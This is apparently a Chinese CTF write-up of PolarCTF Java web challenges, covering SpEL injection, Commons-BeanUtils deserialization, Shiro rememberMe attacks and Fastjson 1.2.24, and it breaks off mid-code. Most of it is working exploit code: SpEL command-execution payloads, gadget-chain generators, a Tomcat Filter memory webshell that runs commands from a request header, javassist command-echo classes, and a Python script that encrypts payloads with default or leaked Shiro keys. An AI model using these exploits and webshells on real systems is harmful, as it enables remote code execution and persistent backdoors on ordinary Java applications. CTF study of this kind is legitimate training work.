ezjava 1 2 3 4 5 6 7 8 9 10 11 12 @RestController @RequestMapping({"/SPEL"}) public class spel { @RequestMapping({"/vul"}) public String spelVul (String ex) { ExpressionParser parser = new SpelExpressionParser (); EvaluationContext evaluationContext = new StandardEvaluationContext (); String result = parser.parseExpression(ex).getValue(evaluationContext).toString(); System.out.println(result); return result; } }
SPEL注入(Spring Expression Language) 由浅入深SpEL表达式注入漏洞 绕过可以看这个的最后
T(类名),可以指定使用一个类的类方法T(java.lang.Runtime).getRuntime().exec("calc")
这里后端会执行语句,然后由于类型转换问题出现报错,所以没有返回值,springboot抛出空白页和500,但是计算器依然弹出
new 类名,可以直接new一个对象,再执行其中的方法new java.lang.ProcessBuilder("cmd","/c","calc").start()
类名最好用全限类名,也就是具体到某个包,不然会因为找不到具体类而报错
SpEL语法
两者还可以混合使用,但需要注意的是{}中的内容必须符合SpEL表达式。这里需要换一下SpEL的写法,否则会因为没有使用模板解析表达式,在传入#{后出现报错
常用payload
1 2 3 4 5 ${7 *7 }T (java.lang.Runtime) .getRuntime ().exec ("nslookup a.com" )T (Thread) .sleep (10000 )#this .getClass ().forName ('java.lang.Runtime' ).getRuntime ().exec ('nslookup a.com' ) new java.lang .ProcessBuilder ({'nslookup a.com' }).start ()
本题不好回显 不出网 查了下有两种方法直接写回显 BufferedReader
1 new java.io .BufferedReader (new java.io .InputStreamReader (new ProcessBuilder ("/bin/sh" , "-c" , "whoami" ).start ().getInputStream (), "gbk" )).readLine ()
上面这个只有单行输出 Scanner
1 new java.util .Scanner (new java.lang .ProcessBuilder ("/bin/sh" , "-c" , "find / -name flag*" ).start ().getInputStream (), "gbk" ).useDelimiter ("asfsfsdfsf" ).next ()
这个就可以了 flag在/app/flag.txt
CB链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 @Controller public class IndexController { @RequestMapping({"/"}) @ResponseBody public String index (HttpServletRequest request) { String ipAddress = request.getHeader("X-Forwarded-For" ); if (ipAddress == null ) { ipAddress = request.getRemoteAddr(); } return "Welcome PolarCTF~ <br>Client IP Address: " + ipAddress; } @RequestMapping({"/user"}) @ResponseBody public String getUser (String user) throws Exception { byte [] userBytes = Tools.base64Decode(user); ObjectInputStream in = new ObjectInputStream (new ByteArrayInputStream (userBytes)); User userObj = (User)in.readObject(); return userObj.getUserNicename(); } }
靶机不出网 打恶意类直接执行命令没用 这里题解打了个Filter内存马
用yakit传的话 base64编码之后记得还得url编码特殊字符一下
之前一直拿CB1.8.3传payload 一直不通 这个版本还是得匹配上才行啊 这里是CB1.9.2
思路是基本CB加载恶意类 + 恶意类接受Filter参数并给Filter一个触发点 + Filter类实现rce
CB加载恶意类 用我博客里的CB链也可以
这个EXP是用ysoserial的模版改的 主要就是构造templates这边集成到一个函数里了 同时也不用写编译出类的路径
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.commons.beanutils.BeanComparator;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.PriorityQueue;public class EXP { public static void main (String[] args) throws Exception { final TemplatesImpl templates = createTemplatesImpl(MyClassLoader.class); final BeanComparator comparator = new BeanComparator (null , String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); queue.add("1" ); queue.add("1" ); setFieldValue(comparator, "property" , "outputProperties" ); final Object[] queueArray = (Object[]) getFieldValue(queue, "queue" ); queueArray[0 ] = templates; queueArray[1 ] = templates; ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(queue); byte [] bytes = byteArrayOutputStream.toByteArray(); System.out.println(Base64.getEncoder().encodeToString(bytes)); } public static <T> T createTemplatesImpl (Class c) throws Exception { Class<T> tplClass = null ; if (Boolean.parseBoolean(System.getProperty("properXalan" , "false" ))) { tplClass = (Class<T>) Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl" ); } else { tplClass = (Class<T>) TemplatesImpl.class; } final T templates = tplClass.newInstance(); final byte [] classBytes = classAsBytes(c); setFieldValue(templates, "_bytecodes" , new byte [][]{ classBytes }); setFieldValue(templates, "_name" , "Pwnr" ); return templates; } public static void setFieldValue (Object obj, String fieldName, Object fieldValue) throws NoSuchFieldException, IllegalAccessException { Class clazz = obj.getClass(); Field classField = clazz.getDeclaredField(fieldName); classField.setAccessible(true ); classField.set(obj, fieldValue); } public static Object getFieldValue (Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException { Class<?> clazz = obj.getClass(); Field classField = clazz.getDeclaredField(fieldName); classField.setAccessible(true ); return classField.get(obj); } public static byte [] classAsBytes(final Class<?> clazz) { try { final byte [] buffer = new byte [1024 ]; final String file = classAsFile(clazz); final InputStream in = clazz.getClassLoader().getResourceAsStream(file); if (in == null ) { throw new IOException ("couldn't find '" + file + "'" ); } final ByteArrayOutputStream out = new ByteArrayOutputStream (); int len; while ((len = in.read(buffer)) != -1 ) { out.write(buffer, 0 , len); } return out.toByteArray(); } catch (IOException e) { throw new RuntimeException (e); } } public static String classAsFile (final Class<?> clazz) { return classAsFile(clazz, true ); } public static String classAsFile (final Class<?> clazz, boolean suffix) { String str; if (clazz.getEnclosingClass() == null ) { str = clazz.getName().replace("." , "/" ); } else { str = classAsFile(clazz.getEnclosingClass(), false ) + "$" + clazz.getSimpleName(); } if (suffix) { str += ".class" ; } return str; } }
MyClassLoader(恶意类) 首先获取一手Web上下文 这边有点盲区了 这里还自动getSession()了 为后面能看见JSESSIONID埋下了伏笔(
然后就是反射调用ClassLoader::defineClass() 加载我们后面要说的Filter内存马 算是另一个恶意类
通过cc.newInstance().equals(new Object[]{request,response,session});
实例化内存马 通过equals()传参
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.util.Base64;public class MyClassLoader extends AbstractTranslet { static { try { System.out.println("MyClassLoader injection success" ); javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest(); java.lang.reflect.Field r=request.getClass().getDeclaredField("request" ); r.setAccessible(true ); org.apache.catalina.connector.Response response = ((org.apache.catalina.connector.Request) r.get(request)).getResponse(); javax.servlet.http.HttpSession session = request.getSession(); String classData=request.getParameter("classData" ); System.out.println("classData:" +classData); byte [] classBytes = Base64.getDecoder().decode(classData); java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass" ,new Class []{byte [].class, int .class, int .class}); defineClassMethod.setAccessible(true ); Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0 ,classBytes.length); cc.newInstance().equals(new Object []{request,response,session}); }catch (Exception e){ e.printStackTrace(); } } public void transform (DOM arg0, SerializationHandler[] arg1) throws TransletException { } public void transform (DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException { } }
Filter内存马 implements javax.servlet.Filter起手 重写init() destory() doFilter()
其中doFilter()是我们命令执行的地方 -> 所有匹配URL的请求都会触发doFilter方法
equals()将实例化的Filter内存马动态注册到/*
路径下 也就是所有路径
dynamicAddFilter()就是经典Filter内存马注册的步骤 这里面有什么修改tomcat生命周期状态 有待进一步研究
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 import javax.servlet.*;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.util.stream.Collectors;public class FilterMem implements javax .servlet.Filter{ private javax.servlet.http.HttpServletRequest request = null ; private org.apache.catalina.connector.Response response = null ; private javax.servlet.http.HttpSession session = null ; public void init (FilterConfig filterConfig) throws ServletException { } public void destroy () {} public void doFilter (ServletRequest request1, ServletResponse response1, FilterChain filterChain) throws IOException, ServletException { javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest)request1; javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse)response1; javax.servlet.http.HttpSession session = request.getSession(); String cmd = request.getHeader("Polar-CMD" ); System.out.println(cmd); if (cmd != null ) { System.out.println("1" ); response.setHeader("Polar-START" , "OK" ); Process process = new ProcessBuilder (cmd.split("\\s+" )) .redirectErrorStream(true ) .start(); System.out.println("2" ); InputStream inputStream = process.getInputStream(); String result = new BufferedReader (new InputStreamReader (inputStream)) .lines() .collect(Collectors.joining(System.lineSeparator())); System.out.println("3" ); response.setHeader("Polar-RESULT" ,result); } else { filterChain.doFilter(request, response); } } public boolean equals (Object obj) { Object[] context=(Object[]) obj; this .session = (javax.servlet.http.HttpSession ) context[2 ]; this .response = (org.apache.catalina.connector.Response) context[1 ]; this .request = (javax.servlet.http.HttpServletRequest) context[0 ]; try { dynamicAddFilter(new FilterMem (),"Shell" ,"/*" ,request); } catch (IllegalAccessException e) { e.printStackTrace(); } return true ; } public static void dynamicAddFilter (javax.servlet.Filter filter,String name,String url,javax.servlet.http.HttpServletRequest request) throws IllegalAccessException { javax.servlet.ServletContext servletContext=request.getServletContext(); if (servletContext.getFilterRegistration(name) == null ) { java.lang.reflect.Field contextField = null ; org.apache.catalina.core.ApplicationContext applicationContext = null ; org.apache.catalina.core.StandardContext standardContext=null ; java.lang.reflect.Field stateField=null ; javax.servlet.FilterRegistration.Dynamic filterRegistration = null ; try { contextField=servletContext.getClass().getDeclaredField("context" ); contextField.setAccessible(true ); applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext); contextField=applicationContext.getClass().getDeclaredField("context" ); contextField.setAccessible(true ); standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext); stateField=org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state" ); stateField.setAccessible(true ); stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP); filterRegistration = servletContext.addFilter(name, filter); filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false ,new String []{url}); java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart" ); filterStartMethod.setAccessible(true ); filterStartMethod.invoke(standardContext, null ); stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED); }catch (Exception e){ }finally { stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED); } } } }
Result Show 本地出现这个报错基本就表示上传成功了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 java.lang.RuntimeException: InvocationTargetException: java.lang.reflect.InvocationTargetException at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:171) ~[commons-beanutils-1.9.2.jar!/:1.9.2] at java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721) ~[na:1.8.0_65] at java.util.PriorityQueue.siftDown(PriorityQueue.java:687) ~[na:1.8.0_65] at java.util.PriorityQueue.heapify(PriorityQueue.java:736) ~[na:1.8.0_65] at java.util.PriorityQueue.readObject(PriorityQueue.java:795) ~[na:1.8.0_65] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_65] at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:1.8.0_65] at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_65] at java.lang.reflect.Method.invoke(Method.java:497) ~[na:1.8.0_65] at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058) ~[na:1.8.0_65] at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900) ~[na:1.8.0_65] at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801) ~[na:1.8.0_65] at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351) ~[na:1.8.0_65] at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371) ~[na:1.8.0_65] at org.example.controller.IndexController.getUser(IndexController.java:33) ~[classes!/:1.0-SNAPSHOT] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_65] at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:1.8.0_65] at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_65] at java.lang.reflect.Method.invoke(Method.java:497) ~[na:1.8.0_65]
PolarOA 是shiro key是shiro1.2.4的默认key
默认shiro1.2.4自带的Commons-beanutils1.8.3 那不妨就打CB链 直接试试上题的EXP
看了下序列化数据有点长了 直接base64的话就有5984个字符了
参考:https://p0lar1ght.github.io/posts/PolarD&N_CTF_PolarOA/
出题人说是限制了Cookie长度 要小于3500个字符
用javassist通过字符串动态加载类会少很多很多字节
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.*;import java.io.IOException;public class DynamicClassGenerator { public CtClass genPayloadForWin () throws NotFoundException, CannotCompileException, IOException { ClassPool classPool = ClassPool.getDefault(); CtClass clazz = classPool.makeClass("Exp" ); if ((clazz.getDeclaredConstructors()).length != 0 ) { clazz.removeConstructor(clazz.getDeclaredConstructors()[0 ]); } clazz.addConstructor(CtNewConstructor.make("public SpringEcho() throws Exception {\n" + " try {\n" + " org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" + " javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" + " javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" + "\n" + " String te = httprequest.getHeader(\"Host\");\n" + " httpresponse.addHeader(\"Host\", te);\n" + " String tc = httprequest.getHeader(\"CMD\");\n" + " if (tc != null && !tc.isEmpty()) {\n" + " String[] cmd = new String[]{\"cmd.exe\", \"/c\", tc}; \n" + " byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" + " httpresponse.getWriter().write(new String(result));\n" + "\n" + " }\n" + " httpresponse.getWriter().flush();\n" + " httpresponse.getWriter().close();\n" + " } catch (Exception e) {\n" + " e.getStackTrace();\n" + " }\n" + " }" , clazz)); clazz.getClassFile().setMajorVersion(50 ); CtClass superClass = classPool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); return clazz; } public CtClass genPayloadForLinux () throws NotFoundException, CannotCompileException { ClassPool classPool = ClassPool.getDefault(); CtClass clazz = classPool.makeClass("Exp" ); if ((clazz.getDeclaredConstructors()).length != 0 ) { clazz.removeConstructor(clazz.getDeclaredConstructors()[0 ]); } clazz.addConstructor(CtNewConstructor.make("public SpringEcho() throws Exception {\n" + " try {\n" + " org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" + " javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" + " javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" + "\n" + " String te = httprequest.getHeader(\"Host\");\n" + " httpresponse.addHeader(\"Host\", te);\n" + " String tc = httprequest.getHeader(\"CMD\");\n" + " if (tc != null && !tc.isEmpty()) {\n" + " String[] cmd = new String[]{\"/bin/sh\", \"-c\", tc};\n" + " byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" + " httpresponse.getWriter().write(new String(result));\n" + "\n" + " }\n" + " httpresponse.getWriter().flush();\n" + " httpresponse.getWriter().close();\n" + " }\n" + " }" , clazz)); clazz.getClassFile().setMajorVersion(50 ); CtClass superClass = classPool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); return clazz; } }
这里的思路是直接给要加载的类提供一个构造函数 之后需要直接实例化调用就行
大概就分下面几步
1 2 3 4 5 6 7 8 9 10 ClassPool classPool = ClassPool.getDefault();CtClass clazz = classPool.makeClass("Exp" ); clazz.addConstructor(CtNewConstructor.make("..." ));CtClass superClass = classPool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass);
在设定构造函数的时候要注意调用路径都得用绝对路径 至于设置父类为什么不用override了 这里算是一个待解决的点 先留个坑
之后就是正常CB链的构造 正好有个javassist.CtClass::toBytecode() 可以直接生成字节码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.CtClass;import org.apache.commons.beanutils.BeanComparator;import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;public class polar { public static void main (String[] args) throws Exception { com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl templates = getTemplate(); final BeanComparator comparator = new BeanComparator (null , String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); queue.add("1" ); queue.add("1" ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{templates, templates}); ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("shiro_CB.txt" )); oos.writeObject(queue); } public static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl getTemplate () throws Exception { DynamicClassGenerator classGenerator = new DynamicClassGenerator (); CtClass clz = classGenerator.genPayloadForLinux(); com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl obj = new com .sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl(); setFieldValue(obj, "_bytecodes" , new byte [][]{clz.toBytecode()}); setFieldValue(obj, "_name" , "a" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); return obj; } public static void setFieldValue (Object obj, String fieldName, Object fieldValue) throws NoSuchFieldException, IllegalAccessException { Class clazz = obj.getClass(); Field classField = clazz.getDeclaredField(fieldName); classField.setAccessible(true ); classField.set(obj, fieldValue); } }
再用shiro550的python脚本跑一下就行了
这里我贴个pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?xml version="1.0" encoding="UTF-8" ?> <project xmlns ="http://maven.apache.org/POM/4.0.0" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" > <modelVersion > 4.0.0</modelVersion > <groupId > org.example</groupId > <artifactId > polar</artifactId > <version > 1.0-SNAPSHOT</version > <url > http://maven.apache.org</url > <parent > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-parent</artifactId > <version > 2.7.4</version > <relativePath /> </parent > <properties > <maven.compiler.source > 8</maven.compiler.source > <maven.compiler.target > 8</maven.compiler.target > <project.build.sourceEncoding > UTF-8</project.build.sourceEncoding > </properties > <dependencies > <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-web</artifactId > </dependency > <dependency > <groupId > commons-beanutils</groupId > <artifactId > commons-beanutils</artifactId > <version > 1.8.3</version > </dependency > <dependency > <groupId > commons-logging</groupId > <artifactId > commons-logging</artifactId > <version > 1.2</version > </dependency > <dependency > <groupId > org.javassist</groupId > <artifactId > javassist</artifactId > <version > 3.25.0-GA</version > </dependency > </dependencies > <build > <finalName > cb</finalName > <plugins > <plugin > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-maven-plugin</artifactId > </plugin > </plugins > </build > </project >
PolarOA2.0 还是一样的后台 扫描器什么都没扫出来 不是默认密钥 有可能是把密钥改了 也有可能是高版本shiro随机生成密钥
尝试弱口令 确实有 是admin:admin123
登录进去什么都没有 首先考虑信息泄漏 SpringBoot actuator
直接JDumpSpider一把梭
1 2 3 4 5 6 7 =========================================== CookieRememberMeManager(ShiroKey) ------------- algMode = GCM, key = cLPlJTh9kHAPtGaU+CtGZw==, algName = AES algMode = GCM, key = weMnS+A3kURXjtq/uEC4sA==, algName = AES ===========================================
而且从/actuator/logfile
system日志中知道了shiro版本1.8.0
shiro1.8.0自带Commons-beanutils1.9.4 但是CB链照样能用
盲猜一手Cookie字段限制 上面PolarOA1.0的时候其实还有可以优化的空间
这里直接先给出payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.*;import org.apache.commons.beanutils.BeanComparator;import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;public class shiro180 { public static void main (String[] args) throws Exception { com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl templates = getTemplate(); final BeanComparator comparator = new BeanComparator (null , String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); queue.add("1" ); queue.add("1" ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{templates, templates}); ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("shiro_CB_short.txt" )); oos.writeObject(queue); } public static CtClass genPayloadForLinux () throws CannotCompileException, NotFoundException { ClassPool classPool = ClassPool.getDefault(); CtClass clazz = classPool.makeClass("A" ); if ((clazz.getDeclaredConstructors()).length != 0 ) { clazz.removeConstructor(clazz.getDeclaredConstructors()[0 ]); } clazz.addConstructor(CtNewConstructor.make("public B() throws Exception {\n" + " org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" + " javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" + " javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" + " String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" + " byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" + " httpresponse.getWriter().write(new String(result));\n" + " httpresponse.getWriter().flush();\n" + " httpresponse.getWriter().close();\n" + " }" , clazz)); clazz.getClassFile().setMajorVersion(50 ); CtClass superClass = classPool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); return clazz; } public static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl getTemplate () throws Exception { CtClass clz = genPayloadForLinux(); com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl obj = new com .sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl(); setFieldValue(obj, "_bytecodes" , new byte [][]{clz.toBytecode()}); setFieldValue(obj, "_name" , "a" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); return obj; } public static void setFieldValue (Object obj, String fieldName, Object fieldValue) throws NoSuchFieldException, IllegalAccessException { Class clazz = obj.getClass(); Field classField = clazz.getDeclaredField(fieldName); classField.setAccessible(true ); classField.set(obj, fieldValue); } }
可以看到 和之前对比的区别就在 这里直接把javassist加载类放在和序列化一起了 少了类的调用
同时还删了windows平台的适配 然后能减少的字符串长度 变量长度等等都减小 其实应该还能再短 不过短一点也没什么意义了(
由于shiro1.4.2之后用上了随机密钥 + AES-GCM加密 所以python脚本要改一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import subprocessfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadfrom Crypto.Random import get_random_bytesimport base64def generate_payload (command ): popen = subprocess.Popen([r'java' , '-jar' , r'/Users/jednersaous/ysoserial-all.jar' , 'URLDNS' , command],stdout=subprocess.PIPE) return popen.stdout.read()def bin_read (filepath ): f = open (filepath, "rb" ) return f.read()def rememberMe (plaintext ): key_raw = "kPH+bIxk5D2deZiIxcaaaA==" key = base64.b64decode(key_raw) iv = get_random_bytes(AES.block_size) plaintext_mod = pad(plaintext, AES.block_size) cipher = AES.new(key, AES.MODE_CBC, iv) ciphertext = cipher.encrypt(plaintext_mod) ciphertext_str = base64.b64encode(iv + ciphertext).decode('utf-8' ) return ciphertext_strdef rememberMe_GCM (plaintext ): key_raw = input ("Please input the base64 key: " ) key = base64.b64decode(key_raw) iv = get_random_bytes(AES.block_size) cipher = AES.new(key, AES.MODE_GCM, iv) enc, tag = cipher.encrypt_and_digest(plaintext) ciphertext_str = base64.b64encode(iv + enc + tag).decode('utf-8' ) return ciphertext_strif __name__ == '__main__' : payload = rememberMe_GCM(bin_read("./tmp/shiro_CB_short.txt" )) print ("[!] rememberMe_length: \n" + str (len (payload))) print ("[!] rememberMe: \n" + payload)
Fastjson fastjson1.2.24
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 package BOOT-INF.classes.org.polarctf;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.parser.Feature;import org.polarctf.User;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestBody;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestMethod;import org.springframework.web.bind.annotation.ResponseBody;@Controller public class JsonController { @RequestMapping(value = {"/"}, method = {RequestMethod.GET}, produces = {"application/json;charset=UTF-8"}) @ResponseBody public Object getUser () { User user = new User (); user.setName("Polar D&N ~!" ); user.setId("2022" ); return user; } @RequestMapping(value = {"/"}, method = {RequestMethod.POST}, produces = {"application/json;charset=UTF-8"}) @ResponseBody public Object setUser (@RequestBody String jsonString) { System.out.println(jsonString); JSONObject jsonObject = JSON.parseObject(jsonString, new Feature [] { Feature.SupportNonPublicField }); User user = (User)jsonObject.toJavaObject(User.class); user.setId("2023" ); return user; } }
给了Feature.SupportNonPublicField
那直接尝试TemplatesImpl链了
没任何限制 直接通了
EXP如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.*;import java.util.Base64;public class run { public static void main (String[] args) throws Exception { try { CtClass clas = genPayloadForLinux(); byte [] evilCode = clas.toBytecode(); String evilCode_base64 = Base64.getEncoder().encodeToString(evilCode); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ; String text1 = "{" + "\"@type\":\"" + NASTY_CLASS +"\"," + "\"_bytecodes\":[\"" +evilCode_base64+"\"]," + "\"_name\":\"a.b\"," + "\"_tfactory\":{}," + "\"_outputProperties\":{}" + "}\n" ; System.out.println(text1); } catch (Exception e) { e.printStackTrace(); } } public static CtClass genPayloadForLinux () throws CannotCompileException, NotFoundException { ClassPool classPool = ClassPool.getDefault(); CtClass clazz = classPool.makeClass("A" ); if ((clazz.getDeclaredConstructors()).length != 0 ) { clazz.removeConstructor(clazz.getDeclaredConstructors()[0 ]); } clazz.addConstructor(CtNewConstructor.make("public B() throws Exception {\n" + " org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" + " javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" + " javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" + " String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" + " byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" + " httpresponse.getWriter().write(new String(result));\n" + " httpresponse.getWriter().flush();\n" + " 